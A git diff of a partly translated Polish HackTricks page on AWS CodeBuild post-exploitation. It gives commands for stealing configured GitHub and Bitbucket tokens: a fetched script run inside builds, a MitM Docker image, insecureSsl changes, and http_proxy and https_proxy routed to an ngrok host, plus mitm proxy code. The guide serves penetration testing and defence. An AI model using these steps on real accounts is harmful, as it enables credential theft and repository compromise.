mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+42
-32
@@ -2,39 +2,49 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
## Odzyskaj skonfigurowane Tokens Github/Bitbucket
|
||||
|
||||
Najpierw sprawdź, czy są skonfigurowane jakieś poświadczenia źródłowe, które możesz leak:
|
||||
Najpierw sprawdź, czy istnieją jakiekolwiek source credentials skonfigurowane, które możesz leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Przez RCE w zadaniu CodeBuild
|
||||
|
||||
Z poziomu zadania CodeBuild możesz wywołać nieudokumentowany endpoint API AWS CodeBuild, który zwróci dane uwierzytelniające używane przez CodeBuild. Może to posłużyć do uzyskania danych uwierzytelniających, z którymi skonfigurowano zadanie CodeBuild, np. dane uwierzytelniające AWS CodeConnection, OAUTH lub PAT. Zadanie CodeBuild nie musi mieć uprawnień, aby wywołać ten endpoint, a także trudno to wykryć w logach i monitoringu, ponieważ samo CodeBuild wywołuje ten endpoint kilkukrotnie podczas uruchamiania.
|
||||
|
||||
Technika jest opisana szerzej w [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/), ale w skrócie, aby uzyskać dane uwierzytelniające wewnątrz zadania CodeBuild, wystarczy uruchomić następujące:
|
||||
```
|
||||
python -m pip install botocore boto3 requests
|
||||
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
|
||||
python ./GetBuildInfo.py
|
||||
```
|
||||
### Przez Docker Image
|
||||
|
||||
Jeśli stwierdzisz, że w koncie skonfigurowane jest uwierzytelnienie np. do Github, możesz **exfiltrate** ten **access** (**GH token or OAuth token**) zmuszając Codebuild do **use an specific docker image** do uruchomienia builda projektu.
|
||||
Jeśli stwierdzisz, że w koncie skonfigurowana jest autoryzacja, np. do Github, możesz **exfiltrate** ten **access** (**GH token or OAuth token**) powodując, że Codebuild **użyje konkretnego Docker image** do uruchomienia builda projektu.
|
||||
|
||||
W tym celu możesz **create a new Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
|
||||
W tym celu możesz **utworzyć nowy Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
|
||||
|
||||
Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, skonfigurować certyfikat SSL i **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** — aby nie przechwytywać żądań do metadata endpoint.
|
||||
1. **Utwórz & Prześlij własny Docker MitM image**
|
||||
- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, załadować certyfikat SSL i **zbudować Docker image**.
|
||||
- **DO NOT SET `http_proxy`**, aby nie przechwytywać żądań do metadata endpoint.
|
||||
- Możesz użyć **`ngrok`**, np. `ngrok tcp 4444`, aby ustawić proxy na swój host.
|
||||
- Gdy obraz Docker będzie zbudowany, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Utwórz **new Codebuild project** lub **modify** environment istniejącego.
|
||||
- Ustaw projekt, aby używał **previously generated Docker image**
|
||||
- Gdy zbudujesz Docker image, **prześlij go do publicznego repo** (Dockerhub, ECR...)
|
||||
2. **Skonfiguruj environment**
|
||||
- Utwórz **nowy Codebuild project** lub **zmodyfikuj** environment istniejącego.
|
||||
- Ustaw projekt tak, aby używał **wcześniej wygenerowanego Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **Skonfiguruj MitM proxy na swoim hoście**
|
||||
|
||||
- Jak wskazano w **Github repo**, możesz użyć czegoś takiego:
|
||||
- Jak wskazano w **Github repo**, możesz użyć czegoś w stylu:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> **Użyta wersja mitmproxy to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
|
||||
> Użyta wersja **mitmproxy** to 9.0.1; zgłoszono, że w wersji 10 może to nie działać.
|
||||
|
||||
4. **Uruchom build & przechwyć poświadczenia**
|
||||
|
||||
@@ -42,7 +52,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Można to również zrobić z aws cli przy użyciu czegoś takiego
|
||||
Można to również zrobić za pomocą aws cli, np.:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +81,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Poprzez insecureSSL
|
||||
### Za pomocą insecureSSL
|
||||
|
||||
**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
|
||||
Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Włączenie tego pozwala Codebuild łączyć się z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
|
||||
|
||||
- Najpierw musisz wyenumerować aktualną konfigurację poleceniem takim jak:
|
||||
- Najpierw wyenumeruj aktualną konfigurację za pomocą czegoś takiego:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
|
||||
- Dodatkowo dodaj też zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
|
||||
- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w uzyskanej konfiguracji).
|
||||
- Dodatkowo dodaj zmienne środowiskowe **http_proxy** i **https_proxy**, wskazujące na twój tcp ngrok w następujący sposób:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -128,23 +138,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na koniec kliknij **Zbuduj projekt**, **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) do portu mitm:
|
||||
- Na koniec kliknij na **Build the project**, the **credentials** will be **sent in clear text** (base64) do portu mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~Przez protokół HTTP~~
|
||||
|
||||
> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Więc atakujący nie może już jej wykorzystywać :)**
|
||||
> [!TIP] > **Ta podatność została naprawiona przez AWS mniej więcej w tygodniu 20 lutego 2023 (chyba w piątek). Więc attacker nie może już jej nadużywać :)**
|
||||
|
||||
Atakujący z **podwyższonymi uprawnieniami w ramach CodeBuild może leak the Github/Bitbucket token** skonfigurowany lub, jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.
|
||||
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
|
||||
- Atakujący może dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazując na swoją maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- An attacker może dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie zmień URL repo github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Następnie kliknij **Build the project** lub uruchom build z linii poleceń:
|
||||
- Następnie kliknij na **Build the project** lub uruchom build z wiersza poleceń:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Na koniec **credentials** zostaną **wysłane w formie jawnego tekstu** (base64) na port mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż używając usługi CodeBuild bezpośrednio.
|
||||
> Teraz attacker będzie w stanie użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż korzystając bezpośrednio z usługi CodeBuild.
|
||||
|
||||
## Untrusted PR execution via webhook filter misconfiguration
|
||||
|
||||
Dla łańcucha obejścia webhook wyzwalanego PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sprawdź:
|
||||
Dla PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
|
||||
Reference in New Issue
Block a user